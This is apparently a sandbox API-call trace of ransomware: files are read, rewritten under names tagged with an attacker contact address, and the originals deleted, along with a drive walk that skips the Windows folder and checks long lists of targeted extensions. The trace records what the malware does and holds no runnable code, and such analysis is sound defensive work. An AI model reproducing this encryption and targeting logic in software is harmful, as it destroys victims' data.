	[0106.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.413] GetLastError () returned 0x0
	[0106.413] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x8573, lpOverlapped=0x0) returned 1
	[0106.447] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8580, lpOverlapped=0x0) returned 1
	[0106.448] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.448] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.449] SetEndOfFile (hFile=0x21c) returned 1
	[0106.449] CloseHandle (hObject=0x21c) returned 1
	[0106.449] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.449] SetEndOfFile (hFile=0x1d8) returned 1
	[0106.450] CloseHandle (hObject=0x1d8) returned 1
	[0106.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.450] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1
	[0106.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0106.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0106.451] lstrlenW (lpString=".doc") returned 4
	[0106.451] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.451] lstrlenW (lpString=".docx") returned 5
	[0106.451] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.451] lstrlenW (lpString=".pdf") returned 4
	[0106.451] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.451] lstrlenW (lpString=".xls") returned 4
	[0106.451] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.451] lstrlenW (lpString=".xlsx") returned 5
	[0106.451] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.451] lstrlenW (lpString=".ppt") returned 4
	[0106.451] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0106.451] lstrlenW (lpString=".zip") returned 4
	[0106.451] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.451] lstrlenW (lpString=".rar") returned 4
	[0106.451] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.451] lstrlenW (lpString=".bz2") returned 4
	[0106.451] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.451] lstrlenW (lpString=".7z") returned 3
	[0106.451] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0106.451] lstrlenW (lpString=".dbf") returned 4
	[0106.451] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0106.451] lstrlenW (lpString=".1cd") returned 4
	[0106.451] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0106.451] lstrlenW (lpString=".jpg") returned 4
	[0106.451] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.452] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.452] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0106.452] GetLastError () returned 0x0
	[0106.452] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x3a9, lpOverlapped=0x0) returned 1
	[0106.533] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x3b0, lpOverlapped=0x0) returned 1
	[0106.533] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.533] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.533] SetEndOfFile (hFile=0x21c) returned 1
	[0106.534] CloseHandle (hObject=0x21c) returned 1
	[0106.534] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.534] SetEndOfFile (hFile=0x1d8) returned 1
	[0106.534] CloseHandle (hObject=0x1d8) returned 1
	[0106.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.535] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1
	[0106.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0106.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0106.535] lstrlenW (lpString=".doc") returned 4
	[0106.535] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.535] lstrlenW (lpString=".docx") returned 5
	[0106.535] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.535] lstrlenW (lpString=".pdf") returned 4
	[0106.535] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.535] lstrlenW (lpString=".xls") returned 4
	[0106.535] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.535] lstrlenW (lpString=".xlsx") returned 5
	[0106.535] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.535] lstrlenW (lpString=".ppt") returned 4
	[0106.535] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0106.535] lstrlenW (lpString=".zip") returned 4
	[0106.535] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.535] lstrlenW (lpString=".rar") returned 4
	[0106.535] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.536] lstrlenW (lpString=".bz2") returned 4
	[0106.536] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.536] lstrlenW (lpString=".7z") returned 3
	[0106.536] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0106.536] lstrlenW (lpString=".dbf") returned 4
	[0106.536] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0106.536] lstrlenW (lpString=".1cd") returned 4
	[0106.536] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0106.536] lstrlenW (lpString=".jpg") returned 4
	[0106.536] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.536] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.536] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0106.542] GetLastError () returned 0x0
	[0106.542] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x8a1, lpOverlapped=0x0) returned 1
	[0106.731] WriteFile (in: hFile=0x1e4, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8b0, lpOverlapped=0x0) returned 1
	[0106.731] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.731] WriteFile (in: hFile=0x1e4, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.732] SetEndOfFile (hFile=0x1e4) returned 1
	[0106.732] CloseHandle (hObject=0x1e4) returned 1
	[0106.732] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.732] SetEndOfFile (hFile=0x1d8) returned 1
	[0106.733] CloseHandle (hObject=0x1d8) returned 1
	[0106.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.797] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) 

Thread:
	id = 15
	os_tid = 0xa98

	[0088.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x35d0e10
	[0088.008] lstrlenW (lpString="C:") returned 2
	[0088.008] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2ecfd00 | out: lpFindFileData=0x2ecfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x35d02c8
	[0088.008] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0088.008] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1
	[0088.008] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0088.008] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1
	[0088.009] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x35e0e18
	[0088.009] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0088.009] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d0308
	[0088.009] FindNextFileW (in: hFindFile=0x35d0308, lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.010] FindNextFileW (in: hFindFile=0x35d0308, lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0088.010] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0088.010] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1
	[0088.010] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0088.010] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1
	[0088.010] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x35f1e28
	[0088.011] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0088.011] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2ecf808 | out: lpFindFileData=0x2ecf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d0348
	[0088.011] FindNextFileW (in: hFindFile=0x35d0348, lpFindFileData=0x2ecf808 | out: lpFindFileData=0x2ecf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.012] FindNextFileW (in: hFindFile=0x35d0348, lpFindFileData=0x2ecf808 | out: lpFindFileData=0x2ecf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0088.012] lstrlenW (lpString="desktop.ini") returned 11
	[0088.012] lstrlenW (lpString=".1cd") returned 4
	[0088.012] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0088.012] lstrlenW (lpString=".3ds") returned 4
	[0088.012] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0088.012] lstrlenW (lpString=".3fr") returned 4
	[0088.013] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0088.013] lstrlenW (lpString=".3g2") returned 4
	[0088.013] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0088.013] lstrlenW (lpString=".3gp") returned 4
	[0088.013] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0088.013] lstrlenW (lpString=".7z") returned 3
	[0088.013] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0088.013] lstrlenW (lpString=".accda") returned 6
	[0088.013] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0088.013] lstrlenW (lpString=".accdb") returned 6
	[0088.013] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0088.013] lstrlenW (lpString=".accdc") returned 6
	[0088.013] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0088.013] lstrlenW (lpString=".accde") returned 6
	[0088.013] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0088.013] lstrlenW (lpString=".accdt") returned 6
	[0088.013] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0088.013] lstrlenW (lpString=".accdw") returned 6
	[0088.014] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0088.014] lstrlenW (lpString=".adb") returned 4
	[0088.014] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".adp") returned 4
	[0088.014] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".ai") returned 3
	[0088.014] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0088.014] lstrlenW (lpString=".ai3") returned 4
	[0088.014] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".ai4") returned 4
	[0088.014] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".ai5") returned 4
	[0088.014] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".ai6") returned 4
	[0088.014] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".ai7") returned 4
	[0088.014] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0088.014] lstrlenW (lpString=".ai8") returned 4
	[0088.015] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0088.015] lstrlenW (lpString=".anim") returned 5
	[0088.015] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0088.015] lstrlenW (lpString=".arw") returned 4
	[0088.015] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0088.015] lstrlenW (lpString=".as") returned 3
	[0088.015] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0088.015] lstrlenW (lpString=".asa") returned 4
	[0088.015] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0088.015] lstrlenW (lpString=".asc") returned 4
	[0088.015] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0088.015] lstrlenW (lpString=".ascx") returned 5
	[0088.015] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0088.015] lstrlenW (lpString=".asm") returned 4
	[0088.015] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0088.015] lstrlenW (lpString=".asmx") returned 5
	[0088.015] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0088.016] lstrlenW (lpString=".asp") returned 4
	[0088.016] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0088.016] lstrlenW (lpString=".aspx") returned 5
	[0088.016] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0088.016] lstrlenW (lpString=".asr") returned 4
	[0088.016] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0088.016] lstrlenW (lpString=".asx") returned 4
	[0088.016] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0088.016] lstrlenW (lpString=".avi") returned 4
	[0088.016] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0088.016] lstrlenW (lpString=".avs") returned 4
	[0088.016] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0088.016] lstrlenW (lpString=".backup") returned 7
	[0088.016] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0088.016] lstrlenW (lpString=".bak") returned 4
	[0088.016] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0088.016] lstrlenW (lpString=".bay") returned 4
	[0088.017] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0088.017] lstrlenW (lpString=".bd") returned 3
	[0088.017] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0088.017] lstrlenW (lpString=".bin") returned 4
	[0088.018] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0088.018] lstrlenW (lpString=".bmp") returned 4
	[0088.018] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0088.018] lstrlenW (lpString=".bz2") returned 4
	[0088.018] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0088.019] lstrlenW (lpString=".c") returned 2
	[0088.019] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0088.019] lstrlenW (lpString=".cdr") returned 4
	[0088.019] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0088.019] lstrlenW (lpString=".cer") returned 4
	[0088.019] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0088.019] lstrlenW (lpString=".cf") returned 3
	[0088.019] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0088.020] lstrlenW (lpString=".cfc") returned 4
	[0088.020] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0088.020] lstrlenW (lpString=".cfm") returned 4
	[0088.020] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0088.020] lstrlenW (lpString=".cfml") returned 5
	[0088.020] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0088.020] lstrlenW (lpString=".cfu") returned 4
	[0088.020] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0088.020] lstrlenW (lpString=".chm") returned 4
	[0088.021] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0088.021] lstrlenW (lpString=".cin") returned 4
	[0088.021] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0088.021] lstrlenW (lpString=".class") returned 6
	[0088.021] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0088.021] lstrlenW (lpString=".clx") returned 4
	[0088.021] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0088.021] lstrlenW (lpString=".config") returned 7
	[0088.021] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0088.022] lstrlenW (lpString=".cpp") returned 4
	[0088.022] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".cr2") returned 4
	[0088.022] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".crt") returned 4
	[0088.022] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".crw") returned 4
	[0088.022] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".cs") returned 3
	[0088.022] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0088.022] lstrlenW (lpString=".css") returned 4
	[0088.022] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".csv") returned 4
	[0088.022] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".cub") returned 4
	[0088.022] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".dae") returned 4
	[0088.022] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0088.022] lstrlenW (lpString=".dat") returned 4
	[0088.022] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".db") returned 3
	[0088.023] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0088.023] lstrlenW (lpString=".dbf") returned 4
	[0088.023] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dbx") returned 4
	[0088.023] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dc3") returned 4
	[0088.023] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dcm") returned 4
	[0088.023] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dcr") returned 4
	[0088.023] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".der") returned 4
